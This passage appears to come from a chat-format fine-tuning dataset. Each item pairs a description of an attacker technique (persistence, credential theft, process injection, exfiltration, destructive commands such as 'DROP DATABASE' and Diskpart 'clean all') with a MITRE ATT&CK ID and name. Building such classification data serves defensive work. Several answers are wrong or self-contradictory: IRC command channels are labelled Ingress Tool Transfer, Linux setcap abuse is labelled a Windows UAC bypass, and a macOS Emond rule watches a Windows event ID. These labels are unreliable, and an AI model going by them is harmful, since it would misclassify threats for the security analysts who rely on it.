                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a hidden IRC channel on a public server to issue commands to compromised machines."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit reorders the PATH environment variable, placing an attacker‑controlled directory at the front, which results in the execution of malicious binaries instead of the legitimate ones."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script uses PowerShell's New-Service cmdlet to create a fake Windows Update service that executes a reverse shell binary."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware sets up a proxy server on a compromised machine, forwarding inbound traffic from the internet to internal services that are otherwise not exposed."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a phishing email with a link to a fake password reset page that captures the victim's credentials and forwards them to the command server."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware configures the infected host to use an internal proxy server to forward command and control traffic."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a series of compromised web servers, the threat actor builds a multi-hop proxy tunnel to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor gathers email messages by invoking the imap_client library to connect to the victim’s IMAP server with stolen credentials."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software on a user's device reads push notification data from the authentication app and forwards the approval to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors scrape public vulnerability databases such as NVD and exploit databases to compile a list of CVEs applicable to their target's tech stack."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers executed a SQL command 'DROP DATABASE' to destroy the database schema and data."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During infiltration, the attacker changed the file magic number of a malicious binary to match that of a legitimate PDF, causing security tools to misclassify it as a safe document."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Red Team exercise demonstrates XSL Script Processing by creating an XSL file that executes a PowerShell reverse shell when processed by the target's XML parser."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves extracting Kerberos tickets from LSASS and using them to move laterally across the network."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the legitimate code signing certificate in the Windows Trust Provider, allowing unsigned code to be trusted as legitimate."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cyber actor exploits the extra window memory injection method, embedding malicious code into the memory of a newly created window belonging to a privileged process."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker steals a token from a user session and creates a process that inherits that token."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage the /etc/systemd/system directory to install a timer that runs a network exfiltration command daily."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses Nmap scripts to enumerate SMB shares and gathers account information from the share permissions."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a tool to dump memory of processes to retrieve plaintext credentials from insecurely cached authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor registers a new domain account and grants it logon rights on critical servers."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a series of PowerShell commands to call the Microsoft Graph API and enumerate all Office 365 user accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.004 - Account Discovery: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor installs a malicious binary and disguises it by giving it the same name as a trusted system utility, such as \"explorer.exe\"."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool queries the Active Directory for the 'gPCFileSysPath' attribute to discover Group Policy file locations."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies /etc/audit/audit.rules to disable all audit rules."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a vulnerable OAuth flow to intercept authentication tokens from a web portal during user login."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads an encrypted shellcode blob from the network, decodes it, and uses a reflective loader to map it into the attacker's process address space."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary purchases a set of fake software licenses to appear legitimate during social engineering."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the exfiltration phase, the threat actor uses the built‑in Diskpart utility with \"clean all\" to perform a full disk wipe before abandoning the host."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Word document with a macro is sent via email; the user enables macros and the macro runs a malicious payload executable."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged AWS EC2 API calls to create a snapshot of a compromised instance's volume, preserving the system state for later use."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses VNC to establish remote control over a target system."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised admin account is used to export the firewall's configuration repository for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker updates the LoginHook key to reference a custom JavaScript file, which is executed every time a user logs on."
            },
            {
                "role": "assistant",
                "content": "T1037.002 - Boot or Logon Initialization Scripts: Login Hook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abuse the SetDomainPasswordPolicy API to weaken domain password policies."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Outline the steps an attacker would take to conduct a Business Email Compromise (BEC) attack."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes dumping the contents of local email storage files for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor issues an NTP request to the local system to check synchronization status and infer the system time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the setcap capability, the attacker grants a binary the CAP_SYS_ADMIN capability to run as root."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals conducted a business email compromise campaign by spoofing the CFO’s email address, requesting urgent fund transfers to an off‑shore account."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a signed Office add-in package, installing it via the registry to ensure the malicious code runs whenever PowerPoint is opened."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system has an Emond rule that detects when a specific file is written to a shared folder, immediately launching a cryptominer binary."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code modifies the SID-History attribute of a compromised account to inherit elevated group memberships."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor places a crafted service file in /usr/lib/systemd/system/ to automatically start a credential-stealing daemon."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During post-exploitation, the attacker adds a malicious pam_tally2.so entry to the PAM configuration to suppress account lockout policies."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors added a rogue domain controller to the forest trust to intercept authentication traffic."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a recurring task in macOS launchd to periodically run a keylogger binary."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modified the cloud provider's launch template to change the default AMI to one containing a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses forged TLS handshake messages that appear identical to legitimate HTTPS traffic, masking the true nature of the connection."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat configures a DNS tunneling proxy to encapsulate command and control traffic within DNS queries and responses."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accessed the internal file share and replaced the corporate brochure PDF with a defaced version."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor leverages Emond to listen for Event ID 5140 (network share access) and executes a credential‑stealing script when the event is logged."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a persistent encrypted tunnel using ChaCha20 for outbound data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the NTDS.dit file on a compromised domain controller to extract Active Directory user hashes."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious JavaScript file is delivered as a .js attachment; the user opens it with Notepad, then runs it from the command line, executing the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses an initial PowerShell script to pull down an encrypted DLL, which is then decrypted and executed as the main malicious component."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts a fake SAML token with a forged signature to gain unauthorized access to a target SaaS application."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool modifies the $env:PSModulePath to load a tampered module that suppresses command logging."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential extraction is done by reading decrypted password data from the Windows DPAPI protected storage."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder steals a previously registered domain from the victim's organization and uses it for phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a supply chain compromise to embed code that steals AWS IAM role credentials cached on EC2 instance metadata endpoints."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a third‑party integration flaw to produce unsolicited multi‑factor authentication prompts that appear in the victim's authenticator app."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker employs TeamViewer’s unattended access feature to log into victims without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs a DLL injection into a high‑privilege process to hijack its security context."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group leverages FTP anonymous login to upload stolen files without authentication."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used the Windows Task Scheduler to create a new task that runs a malicious PowerShell script every hour."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the LoadLibrary technique to insert a PE file into a high-privilege process, achieving code execution."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake media player installer is distributed via a torrent site; after the user runs the installer, a hidden malicious binary is launched on the system."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query Active Directory for group memberships and delegation permissions to discover network trust dependencies."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary injects malicious code into a target process by overwriting VDSO function pointers to gain execution privileges."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker used the Invoke-GPUpdate PowerShell script to force immediate application of a modified Group Policy that disables Windows Defender across the enterprise."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑espionage team scans public source control platforms for proprietary code that reveals internal IP ranges."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors place malicious DLLs inside a hidden subdirectory of %APPDATA% and set the hidden flag to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group sends spear-phishing emails with malicious links to harvest credentials for victim's Microsoft Exchange accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware executed a WMI query to list shared folders on remote machines, identifying writable shares for later use."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used the \"crictl exec\" command to interact with a container runtime and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
